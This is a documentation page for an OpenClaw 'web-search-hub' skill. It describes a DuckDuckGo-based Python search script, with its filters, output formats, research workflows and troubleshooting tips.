Install
openclaw skills install web-search-hubUse this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to "search for", "find information about", "look up", "what's the latest on", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.
openclaw skills install web-search-hubSearch the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run pip install duckduckgo-search
Installation Best Practices:
python -m venv venv && source venv/bin/activate && pip install duckduckgo-search--break-system-packages as it can damage your system's Python installation| Task | Command |
|---|---|
| Basic web search | python scripts/search.py "query" |
| Recent news | python scripts/search.py "topic" --type news --time-range w |
| Find images | python scripts/search.py "subject" --type images |
| Find videos | python scripts/search.py "tutorial" --type videos |
| Save results | python scripts/search.py "query" --output file.txt |
| JSON output | python scripts/search.py "query" --format json |
Returns web pages with titles, URLs, and descriptions.
python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20
Returns articles with source, date, and summary.
python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d
Returns images with URLs, thumbnails, dimensions, and source.
python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue
Returns videos with title, publisher, duration, date, and URL.
python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long
--max-results N # Default: 10, range: 1-unlimited
Examples:
python scripts/search.py "machine learning" --max-results 5 # Quick overview
python scripts/search.py "research topic" --max-results 30 # Comprehensive
--time-range <d|w|m|y>
# d = past day
# w = past week
# m = past month
# y = past year
Examples:
python scripts/search.py "tech news" --time-range d # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications
--region <code> # Default: wt-wt (worldwide)
Common codes: us-en, uk-en, ca-en, au-en, de-de, fr-fr
Example:
python scripts/search.py "local events" --region us-en --type news
--safe-search <on|moderate|off> # Default: moderate
Example:
python scripts/search.py "medical information" --safe-search on
Clean, numbered results with URLs and descriptions.
python scripts/search.py "topic"
Output:
1. Page Title
URL: https://example.com
Description text here...
2. Next Result
URL: https://example.com/page
Description text...
Formatted with headers, bold, and links.
python scripts/search.py "topic" --format markdown
Output:
## 1. Page Title
**URL:** https://example.com
Description text here...
Structured data for programmatic processing.
python scripts/search.py "topic" --format json
Output:
[
{
"title": "Page Title",
"href": "https://example.com",
"body": "Description text..."
}
]
--output <filepath>
Examples:
python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json
--image-size <Small|Medium|Large|Wallpaper>
Example:
python scripts/search.py "landscape" --type images --image-size Large
--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>
Example:
python scripts/search.py "abstract art" --type images --image-color Blue
--image-type <photo|clipart|gif|transparent|line>
Example:
python scripts/search.py "icons" --type images --image-type transparent
--image-layout <Square|Tall|Wide>
Example:
python scripts/search.py "wallpaper" --type images --image-layout Wide
--video-duration <short|medium|long>
Example:
python scripts/search.py "recipe" --type videos --video-duration short
--video-resolution <high|standard>
Example:
python scripts/search.py "tutorial" --type videos --video-resolution high
Gather comprehensive information across multiple search types:
# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt
# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt
# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt
# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt
Monitor breaking news on specific topics:
python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md
Search for images with specific requirements:
python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt
Verify claims with recent sources:
python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt
Gather business intelligence:
python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt
Find scholarly resources:
python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md
When users request web searches, follow this approach:
--time-range for current info)--max-results)python scripts/search.py "query" \
--type <web|news|images|videos> \
--max-results <N> \
--time-range <d|w|m|y> \
[additional filters]
# Run search
python scripts/search.py "query" [options] --output results.txt
# Read results if needed
cat results.txt
# Extract URLs or combine multiple searches
--time-range for current topics--output to preserve results"Missing required dependency"
# Standard installation
pip install duckduckgo-search
# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install duckduckgo-search
Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.
"OpenClawCLI not found"
openclaw --version"No results found"
"Timeout errors"
"Unexpected results"
"Too many requests"
Build comprehensive research by combining search types:
# Create research folder
mkdir research
# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt
Use JSON for automated workflows:
# Get JSON data
python scripts/search.py "research query" --format json --output data.json
# Process with custom script
python analyze_results.py data.json
Create searchable documentation:
mkdir knowledge-base
# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md
site:, filetype:, etc.)python scripts/search.py "<query>" [OPTIONS]
REQUIRED:
query Search query string (in quotes)
SEARCH TYPE:
-t, --type web|news|images|videos (default: web)
RESULTS:
-n, --max-results Maximum results (default: 10)
--time-range d|w|m|y (day, week, month, year)
-r, --region Region code (default: wt-wt)
--safe-search on|moderate|off (default: moderate)
OUTPUT:
-f, --format text|markdown|json (default: text)
-o, --output Save to file path
IMAGE FILTERS:
--image-size Small|Medium|Large|Wallpaper
--image-color color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
--image-type photo|clipart|gif|transparent|line
--image-layout Square|Tall|Wide
VIDEO FILTERS:
--video-duration short|medium|long
--video-resolution high|standard
HELP:
--help Show all options and usage examples
# Simple query
python scripts/search.py "python tutorials"
# Get more results
python scripts/search.py "python tutorials" --max-results 25
# Today's news
python scripts/search.py "AI developments" --type news --time-range d
# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30
# Find photos
python scripts/search.py "nature photography" --type images --image-type photo
# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large
# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent
# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short
# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long
# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md
# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json
For issues or questions:
python scripts/search.py --help for command-line helpduckduckgo-search library is installedKey Resources: